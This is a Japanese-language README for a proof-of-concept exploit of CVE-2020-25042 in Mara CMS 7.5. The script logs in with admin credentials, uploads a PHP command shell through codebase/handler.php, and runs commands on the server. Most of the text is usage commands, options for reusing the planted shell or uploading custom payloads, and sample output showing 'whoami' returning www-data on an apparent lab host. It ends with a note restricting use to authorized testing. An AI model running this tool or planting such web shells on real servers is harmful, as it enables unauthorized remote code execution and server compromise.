
CVE-2020-25042 の PoC: Mara CMS 7.5 における認証済み PHP アップロードから RCE への自動化、ログインハッシュ処理、シェルの再利用、カスタムペイロード対応、クリーンな CLI 出力。
CVE-2020-25042 の概念実証です。Mara CMS 7.5 における認証済みの任意ファイルアップロードの問題を悪用し、リモートコード実行につなげます。
このスクリプトは有効な Mara CMS 管理・マネージャーアカウントでログインし、codebase/handler.php を通じて PHP ペイロードをアップロードし、アップロードしたファイルを介してコマンドを実行します。
また、可能な場合は既存のシェルを再利用するため、実行のたびに新しい PHP ファイルを作成しません。
shash を抽出します。setsalt アクションでログイン用ソルトを要求します。codebase/dir.php?type=filenew でアップロードフローを開きます。codebase/handler.php を通じて PHP コマンドペイロードをアップロードします。--cmd を実行します。Python 3.8+
pip install -r requirements.txt
必要な Python パッケージ:
requests
urllib3
山括弧で囲まれた値はプレースホルダーです。実際の値に置き換え、< や > の文字は含めないでください。
python3 cve_2020_25042.py \
--url <MARA_CMS_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--cmd whoami
<MARA_CMS_URL> # 対象の Mara CMS ベース URL。例: http://target/cms
<USERNAME> # 有効な Mara CMS 管理・マネージャーユーザー名。
<PASSWORD> # 有効な Mara CMS 管理・マネージャーパスワード。
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--cmd whoami
出力例:
[2026-05-17T23:32:31Z] [*] 既存のシェルを確認中: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:31Z] [*] Mara CMS ページを読み込み、セッションデータを収集
[2026-05-17T23:32:31Z] [+] shash を発見: 9552
[2026-05-17T23:32:31Z] [*] ログインソルトを要求中
[2026-05-17T23:32:31Z] [+] ソルト取得成功: 4253
[2026-05-17T23:32:31Z] [*] admin としてログイン中
[2026-05-17T23:32:31Z] [+] ログイン成功: OK:5
[2026-05-17T23:32:31Z] [*] アップロードフォームを開く
[2026-05-17T23:32:32Z] [*] PHP ペイロードを mara-poc.php としてアップロード中
[2026-05-17T23:32:32Z] [+] アップロードリクエスト完了
[2026-05-17T23:32:32Z] [+] シェル URL: http://10.129.96.20/cms/img/mara-poc.php
[2026-05-17T23:32:32Z] [*] コマンド実行中: whoami
[+] コマンド出力
MARA_CVE_2020_25042_OK
www-data
デフォルトでは、スクリプトは固定のシェル名を使用します:
mara-poc.php
次回の実行時には、以下を確認します:
http://target/cms/img/mara-poc.php
シェルが期待されるマーカーで応答した場合、スクリプトはログインとアップロードをスキップします:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--cmd "ls -la"
以前のランダムな名前で作成したシェルを再利用する場合:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-name mara-poc-jxfizldy.php \
--cmd whoami
公開されたシェルパスを直接指定することもできます:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--shell-url-path /cms/img/mara-poc-jxfizldy.php \
--cmd "ls -la"
コマンドを実行せずにペイロードをアップロード:
python3 cve_2020_25042.py \
--url http://10.129.96.20/cms \
--username admin \
--password changeme \
--upload-only
--page <PAGE>
ログインと shash 抽出のベースとして使用する既存の CMS ページ。デフォルト: lorem.php
--shell-name <NAME>
アップロードまたは再利用する PHP ファイル名。デフォルト: mara-poc.php
--shell-url-path <PATH_OR_URL>
再利用する明示的なシェルパスまたは URL。
例: /cms/img/mara-poc.php
--payload-file <FILE>
デフォルトの ?cmd= シェルではなく、カスタム PHP ペイロードをアップロードします。
--destdir <DIR>
アップロードフォームで送信する raw destdir 値。デフォルトでは Mara CMS の img/ を使用します。
--force-upload
再利用可能なシェルが既に存在する場合でも、常にログインしてアップロードします。
--upload-only
ペイロードをアップロードしますが、--cmd は実行しません。
--only-final
進捗ログを非表示にし、コマンド出力のみを表示します。
--no-color
ANSI カラーを無効にします。
--debug
リクエスト URL と短いハンドラ応答のスニペットを表示します。
admin:changeme の場合があります。MARA_CVE_2020_25042_OK を出力します。img/ です。--force-upload は、ペイロードを上書きまたは再作成する必要がある場合にのみ使用してください。この PoC は 許可されたセキュリティテスト、実験環境、脆弱性検証を目的としています。 明示的な許可なくシステムに対して使用しないでください。